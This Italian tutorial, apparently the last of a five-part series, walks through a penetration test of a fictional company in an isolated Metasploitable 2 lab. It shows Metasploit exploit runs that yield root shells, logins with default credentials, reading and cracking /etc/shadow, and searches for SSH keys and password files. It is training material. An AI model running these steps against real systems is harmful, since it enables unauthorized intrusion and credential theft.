Il Percorso dell'Hacker: Serie in 5 Parti

Parte 1: Introduzione → Parte 2: Padronanza del Flipper → Parte 3: Fondamenti di Kali → Parte 4: Sfruttamento → Parte 5: L'Audit Completo

Avete iniziato questa serie chiedendovi cosa fanno davvero gli hacker. Avete imparato che non si tratta di felpe con cappuccio e testo verde. È risoluzione metodica dei problemi. Avete clonato badge, mappato reti, catturato handshake e ottenuto shell su macchine vulnerabili.

Ora mettiamo tutto insieme. Questo articolo vi guida attraverso un test di penetrazione completo contro un bersaglio fittizio. Ogni fase, ogni decisione, ogni scoperta, documentata esattamente come farebbe un professionista.

Lo Scenario

Cliente: Initech Labs (una piccola azienda tech fittizia)

Ambito: Test di penetrazione della rete interna

Obiettivo: Identificare vulnerabilità e dimostrare il potenziale impatto aziendale

Il vostro bersaglio: La vostra rete di laboratorio (Kali + Metasploitable 2 + qualsiasi altra VM configurata)

Preparatevi un caffè. Sarà divertente.

Fase 1: Pre-Ingaggio

Prima di toccare una tastiera, i pentester professionisti gestiscono il lato commerciale. Saltate questo passaggio, e non siete pentester. Siete semplicemente qualcuno che commette reati.

La Chiamata di Scoping

In un ingaggio reale, avreste una chiamata con il cliente per capire:

Cosa è nell'ambito? Quali reti, range IP, applicazioni?
Cosa è fuori ambito? Sistemi di produzione? Servizi di terze parti?
Finestra di test? Quando potete testare? Solo orario lavorativo?
Punti di contatto? Chi chiamate se qualcosa si rompe?
Obiettivi? Conformità normativa o reale miglioramento della sicurezza?

Per il Vostro Laboratorio

Ambito: Solo la vostra rete di laboratorio isolata. Fuori ambito: Tutto il resto. Finestra di test: Quando volete. Obiettivo: Imparare facendo.

Regole di Ingaggio

Gli ingaggi reali hanno regole scritte:

Lettera di autorizzazione - Documento firmato che prova il permesso
Procedure di escalation - Cosa fare se si trova qualcosa di critico
Gestione dati - Come gestire dati sensibili incontrati
Requisiti di pulizia - Rimuovere tutti gli strumenti e backdoor alla fine
Tempistica del report - Quando è dovuto il report finale?

Ottenete Sempre un'Autorizzazione Scritta

Anche per test "amichevoli" sulla rete di un amico. Un'email firmata che dice "hai il permesso di testare la mia rete dal DATA al DATA" potrebbe fare la differenza tra un'esperienza di apprendimento e una condanna penale. Prendetelo sul serio.

Fase 2: Ricognizione

È ora di imparare tutto sul bersaglio. In un ingaggio reale, questo includerebbe OSINT: ricerche Google, profili LinkedIn, siti web aziendali, record DNS. Per il nostro laboratorio, passiamo direttamente alla ricognizione attiva.

Passo 1: Scoperta della Rete

Prima domanda: cosa c'è su questa rete?

bash

1# Trovate il vostro range di rete
2ip a | grep inet
3# Cercate qualcosa come: inet 192.168.56.100/24
4
5# Scoprite tutti gli host attivi
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# Risultati (esempio):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).

Documentate tutto:

text

1# Initech Labs - Scoperta Rete
2# Data: 2026-03-08
3# Tester: Il Vostro Nome
4
5192.168.56.1   - Gateway/Router
6192.168.56.101 - Sconosciuto (da investigare)
7192.168.56.102 - Sconosciuto (da investigare)

Passo 2: Scansione Porte

Ora andiamo più a fondo. Quali servizi sono in esecuzione?

bash

1# Scansione completa porte con rilevamento servizi
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# Per risultati più rapidi durante l'apprendimento:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

Su Metasploitable 2, vedrete un tesoro:

text

1PORT     STATE SERVICE     VERSION
221/tcp   open  ftp         vsftpd 2.3.4
322/tcp   open  ssh         OpenSSH 4.7p1
423/tcp   open  telnet      Linux telnetd
525/tcp   open  smtp        Postfix smtpd
680/tcp   open  http        Apache httpd 2.2.8
7139/tcp  open  netbios-ssn Samba smbd 3.X
8445/tcp  open  netbios-ssn Samba smbd 3.X
93306/tcp open  mysql       MySQL 5.0.51a
105432/tcp open  postgresql  PostgreSQL DB
11...

Che esposizione. Aggiorniamo le note:

text

1192.168.56.101 - Server Linux (Metasploitable)
2  - FTP (21): vsftpd 2.3.4       # Backdoor nota!
3  - SSH (22): OpenSSH 4.7p1      # Antico
4  - Telnet (23): Attivo           # Perché esiste nel 2026?
5  - HTTP (80): Apache 2.2.8      # App web da testare
6  - SMB (139/445): Samba 3.X     # Potenziale miniera d'oro
7  - MySQL (3306): 5.0.51a        # Accesso database?
8  - PostgreSQL (5432): Attivo    # Altro DB

Passo 3: Identificazione Vulnerabilità

Vediamo cosa è realmente sfruttabile.

bash

1# Eseguire script di vulnerabilità
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# Verificare servizi specifici in Metasploit
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2

La backdoor di vsftpd 2.3.4 salta subito all'occhio. È una shell garantita. Ma un buon pentester non si ferma alla prima scoperta. Documentate tutto.

Sala server con apparecchiature di rete lampeggianti — Una ricognizione approfondita mappa l'intera superficie di attacco prima di lanciare un singolo exploit. Ogni porta aperta e versione di servizio diventa un dato nella vostra valutazione.

Fase 3: Sfruttamento

Qui le cose si fanno entusiasmanti. Abbiamo molteplici potenziali punti di ingresso. Lavoriamoci sistematicamente.

Vettore di Attacco 1: Backdoor FTP

bash

1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)

Scoperta documentata: Shell root ottenuta tramite backdoor FTP. Tempo dalla prima scansione alla compromissione totale: circa 10 minuti.

Shell root ottenuta tramite backdoor FTP. Tempo dalla prima scansione alla compromissione totale: circa 10 minuti.

Ma non ci fermiamo qui. Cos'altro possiamo raggiungere?

Vettore di Attacco 2: Samba

bash

1background
2
3msf6 > use exploit/multi/samba/usermap_script
4msf6 exploit(...) > set RHOSTS 192.168.56.101
5msf6 exploit(...) > exploit
6
7[*] Command shell session 2 opened
8
9whoami
10root

Un'altra shell root attraverso un vettore diverso. Due percorsi indipendenti verso la compromissione totale.

Vettore di Attacco 3: Applicazioni Web

Vediamo cosa gira sulla porta 80.

bash

1gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
2
3# Risultati:
4/cgi-bin/     (Status: 403)
5/dav/         (Status: 301)
6/icons/       (Status: 301)
7/index        (Status: 200)
8/phpMyAdmin/  (Status: 301)
9/phpinfo      (Status: 200)
10/test/        (Status: 301)
11/twiki/       (Status: 301)
12
13nikto -h http://192.168.56.101

phpMyAdmin con credenziali predefinite? Verifichiamo:

text

1Username: root
2Password: (vuoto)
3
4# Accesso concesso!

Accesso amministratore al database senza password. Da qui, potremmo estrarre tutti i dati, modificare record o usare le operazioni file di MySQL per scrivere una web shell.

Vettore di Attacco 4: Credenziali SSH Deboli

bash

1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Le credenziali deboli concedono accesso SSH. Non root, ma ce ne occuperemo nella post-sfruttamento.

Fase 4: Post-Sfruttamento

Abbiamo l'accesso. E ora? Un vero test di penetrazione dimostra l'impatto aziendale.

Raccolta Credenziali

bash

1cat /etc/shadow
2root:$1$xyz...truncated...:14889:0:99999:7:::
3msfadmin:$1$abc...truncated...:14889:0:99999:7:::
4user:$1$def...truncated...:14889:0:99999:7:::
5postgres:$1$ghi...truncated...:14889:0:99999:7:::
6
7cat /etc/passwd > /tmp/passwd.txt
8cat /etc/shadow > /tmp/shadow.txt
9
10unshadow passwd.txt shadow.txt > combined.txt
11john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Ricognizione di Rete (Dall'Interno)

bash

1ifconfig
2route -n
3cat /etc/hosts
4arp -a
5
6netstat -tulpn
7ss -tulpn
8
9find / -name "id_rsa" 2>/dev/null
10find / -name "authorized_keys" 2>/dev/null

Scoperta Dati Sensibili

bash

1find / -name "*.conf" 2>/dev/null | head -20
2find / -name "*.sql" 2>/dev/null
3find / -name "*.bak" 2>/dev/null
4find / -name "*password*" 2>/dev/null
5
6cat /var/www/*/config.php 2>/dev/null
7cat /etc/mysql/my.cnf
8
9mysql -u root -p
10mysql> SHOW DATABASES;
11mysql> SELECT * FROM mysql.user;

Escalation dei Privilegi (da msfadmin)

Ricordate quel login SSH come msfadmin? Escaliamo a root usando ciò che abbiamo imparato nella Parte 4.

bash

1ssh [email protected]
2sudo -l
3find / -perm -4000 2>/dev/null
4cat /etc/crontab

Professionista al lavoro con strumenti di cybersicurezza — La post-sfruttamento dimostra il reale impatto aziendale. La differenza tra una scansione di vulnerabilità e un test di penetrazione è dimostrare cosa un attaccante può realmente fare con l'accesso.

Fase 5: Documentazione e Scoperte

Il test è inutile senza un report. Questo separa i professionisti dagli script kiddie.